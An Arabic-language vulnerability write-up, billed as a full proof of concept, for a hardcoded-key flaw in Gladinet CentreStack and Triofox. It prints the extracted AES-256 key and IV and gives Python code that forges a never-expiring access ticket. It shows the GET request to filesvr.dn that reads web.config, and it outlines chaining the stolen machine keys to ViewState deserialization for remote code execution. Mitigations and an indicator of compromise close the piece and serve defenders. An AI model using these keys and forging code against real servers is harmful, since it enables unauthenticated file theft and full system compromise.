
CVE-2025-14611 CentreStack و Triofox Poc/Exploit كامل
تنشأ هذه الثغرة من مفاتيح تشفير ثابتة (hardcoded) في منتجات Gladinet CentreStack و Triofox، مما يتيح قراءة ملفات عشوائية من خلال تذاكر وصول مزورة. يستخدم تطبيق AES-256 مفاتيح ثابتة غير متغيرة مضمّنة مباشرة في الملف الثنائي للتطبيق (GladCtrl64.dll)، مما يسمح لأي مهاجم يستخرج هذه المفاتيح بما يلي:
تؤثر الثغرة على جميع إصدارات Gladinet CentreStack و Triofox السابقة للإصدار 16.12.10420.56791، وقد تم استغلالها بنشاط في البرية منذ نوفمبر 2025 على الأقل.
تبدأ الثغرة بكيفية توليد وتخزين المفاتيح التشفيرية في GladCtrl64.dll. الدالتان GenerateSecKey و GenerateSecKey1 مسؤولتان عن توفير مفتاح تشفير AES ومتجه التهيئة (IV).
سير توليد المفتاح:
عند بدء تشغيل تطبيق خادم CentreStack، يستدعي الصنف SysKeyMgr الدالة AccessKeyMgr64.GetSysEncKey التي تستدعي GenerateSecKey الموجودة في GladCtrl64.dll. هذه الدالة:
PSTR sub_180001000(wchar16* arg1)
{
int32_t cbMultiByte = WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0,
lpWideCharStr: arg1, cchWideChar: 0xffffffff, lpMultiByteStr: nullptr,
cbMultiByte: 0, lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr);
if (cbMultiByte != 0) {
PSTR lpMultiByteStr = sub_1800012e0(sx.q(cbMultiByte + 2));
if (lpMultiByteStr != 0) {
if (WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0, lpWideCharStr: arg1,
cchWideChar: 0xffffffff, lpMultiByteStr, cbMultiByte,
lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr) != 0)
return lpMultiByteStr;
sub_180001290(lpMultiByteStr);
}
}
return nullptr;
}
تقوم الدالة بتحويل السلاسل المشفرة بـ UTF-16LE إلى UTF-8 باستخدام واجهة برمجة تطبيقات Windows WideCharToMultiByte مع صفحة الشفرة 0xfde9 (UTF-8). يتم تخزين البيانات المصدر في موقعين ثابتين في الذاكرة:
النتيجة الحرجة: هذه السلاسل لا تتغير أبدًا عبر أي تثبيت للبرنامج. اسم الدالة GenerateSecKey مضلل — فهي لا تولّد مفاتيح ديناميكيًا بل تعيد ببساطة سلاسل ثابتة موجودة مسبقًا من الملف الثنائي.
من خلال تحليل الهندسة العكسية، تم استخراج المفاتيح الثابتة من قسم .data في GladCtrl64.dll:
الذاكرة عند 0x18000c000 (مصدر المفتاح):
0d 4e c7 8f 0c ff 03 8c e5 67 5f 4e 3e 66 3a 79
0c ff e5 65 2c 67 01 30 a6 7e e6 65 01 30 e5 4e
72 82 17 52 8c 54 ce 9e f4 5d e9 5a 49 7b fd 56
84 76 d7 53 03 8c e5 67 05 80 27 59 1a 59 a4 8b
...
عند فك تشفيرها من UTF-16LE إلى UTF-8، ينتج عنها نص صيني:
不过، 调查也显示، 日本、约旦、以色列和黎巴嫩等国的受调查者大多认为美国仍将保持自己的超级大国地位...
الذاكرة عند 0x18000c2c0 (مصدر IV):
6d 6f 44 72 69 76 65 00 // "moDriv" في ASCII/UTF-16LE
65 00 6f 30 01 30 c9 30 e9 30 a4 30 d6 30 68 30
57 30 66 30 de 30 a6 30 f3 30 c8 30 67 30 4d 30
...
عند فك تشفيرها، ينتج عنها:
moDriveは、ドライブとしてマウントできるので、フォルダコピー感覚で使えて超快適だが...
المفاتيح التشفيرية النهائية:
يستخدم التطبيق أول 32 بايت من مصدر المفتاح المشفر بـ UTF-8 كمفتاح AES-256، وأول 16 بايت من مصدر IV المشفر بـ UTF-8 كمتجه تهيئة:
AES-256 Key: e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c
AES IV: 6d6f4472697665e381afe38081e38389
يتم استغلال الثغرة من خلال معالج HTTP filesvr.dn، المرتبط بالصنف GladinetStorage.FileDownloadHandler. يقوم هذا المعالج بمعالجة تذاكر الوصول المشفرة التي تُمرَّر عبر معامل الاستعلام t.
هيكل تذكرة الوصول:
تذاكر الوصول هي حقول مفصولة بسطر جديد مشفرة بـ AES-256-CBC:
السطر 0: مسار الملف (مسار مطلق على الخادم)
السطر 1: اسم المستخدم (حساب Windows للتقمص)
السطر 2: كلمة المرور (بيانات اعتماد ذلك الحساب)
السطر 3: الطابع الزمني (وقت إنشاء التذكرة)
عملية فك التشفير:
t ويقوم بتنظيف مخصص، مستبدلاً الأحرف الآمنة لعناوين URL (: → +، | → /)AccessTicket.Decrypt، الذي يسترجع SysKey الثابت (أول 32 بايت) و SysKey1 (أول 16 بايت)تجاوز التحقق من الطابع الزمني:
يقارن المعالج الطابع الزمني للتذكرة بوقت الخادم الحالي. إذا كانت التذكرة أقدم من 4 ساعات، يتم رفضها. ومع ذلك، يمكن للمهاجمين تعيين الطابع الزمني إلى السنة 9999، مما ينشئ تذكرة لا تنتهي أبدًا:
9999-11-27 14:52:04.009217
يخلق هذا بابًا خلفيًا دائمًا يمكن إعادة استخدامه إلى أجل غير مسمى.
بعد فك التشفير، يستخرج المعالج حقلي اسم المستخدم وكلمة المرور ويحاول تهيئة سياق تقمص. ثغرة حرجة: عندما يكون الحقلان فارغين، يفشل منطق التقمص ويتراجع إلى هوية مجموعة تطبيقات IIS.
يسمح هذا بقراءة ملفات عشوائية دون مصادقة، حيث يعمل التطبيق بصلاحيات مرتفعة ولكنه لا يتطلب أي بيانات اعتماد صالحة.
مثال على تذكرة خبيثة:
C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[فارغ]
[فارغ]
9999-11-27 14:52:04.009217
تم رصد استغلال نشط منذ نوفمبر 2025. يتبع المهاجمون هذا النمط:
الخطوة 1: تزوير تذكرة وصول
باستخدام المفاتيح المستخرجة، ينشئ المهاجمون تذاكر مشفرة تستهدف web.config:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64
AES_KEY = bytes.fromhex('e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c')
AES_IV = bytes.fromhex('6d6f4472697665e381afe38081e38389')
ticket = "C:\\Program Files (x86)\\Gladinet Cloud Enterprise\\root\\web.config\n\n\n9999-11-27 14:52:04.009217"
cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
ciphertext = cipher.encrypt(pad(ticket.encode('utf-8'), 16))
b64 = base64.b64encode(ciphertext).decode('ascii')
url_safe = b64.replace('+', ':').replace('/', '|')
الخطوة 2: إرسال طلب خبيث
يُرسل التذكرة المزورة إلى نقطة النهاية المعرضة:
GET /storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2... HTTP/1.1
Host: vulnerable-server.com
الخطوة 3: استخراج مفاتيح الجهاز
يحتوي الرد على ملف web.config مع مفاتيح الجهاز:
<machineKey
validationKey="ABC123..."
decryptionKey="DEF456..."
validation="SHA1"
decryption="AES"
/>
الخطوة 4: الربط مع CVE-2025-30406
تمكن مفاتيح الجهاز هذه من هجمات إلغاء تسلسل ViewState، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد. يقوم المهاجمون بصياغة حمولات ViewState خبيثة موقعة بالمفاتيح المستخرجة، محققين اختراقًا كاملاً للنظام.
من محاولات الاستغلال المرصودة (ديسمبر 2025):
تذكرة مشفرة من المهاجم:
vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m:ZDplEYEsO5ksZajiXcsumkDyUgpV5VLxL|372varAu
المحتوى المفكوك:
C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[فارغ]
[فارغ]
9999-11-27 14:52:04.009217
مصدر الهجوم: عنوان IP 147.124.216[.]205
المنظمات المستهدفة: 9 ضحايا مؤكدين عبر قطاعات الرعاية الصحية والتكنولوجيا والخدمات المهنية
الجدول الزمني للهجوم: محاولات استغلال أولية في نوفمبر 2025، تتصاعد في ديسمبر 2025
تمثل CVE-2025-14611 فشلًا حرجًا في إدارة المفاتيح التشفيرية. من خلال تضمين مفاتيح ثابتة غير متغيرة مباشرة في الملف الثنائي للتطبيق، أنشأت Gladinet مفتاحًا رئيسيًا عامًا يعمل عبر جميع التثبيتات. تُظهر هذه الثغرة العديد من الإخفاقات الأمنية الجسيمة:
توصيات التخفيف:
web.config بعد التصحيح/storage/filesvr.dn مع معاملات t مشبوهةvghpI7EToZUDIZDdprSubL3mTZ2 (تمثيل مشفر لمسار web.config)مؤشر الاختراق:
أي طلب HTTP يحتوي على:
/storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2
يحدد هذا النص الفرعي بشكل فريد محاولات استغلال هذه الثغرة لاسترداد web.config.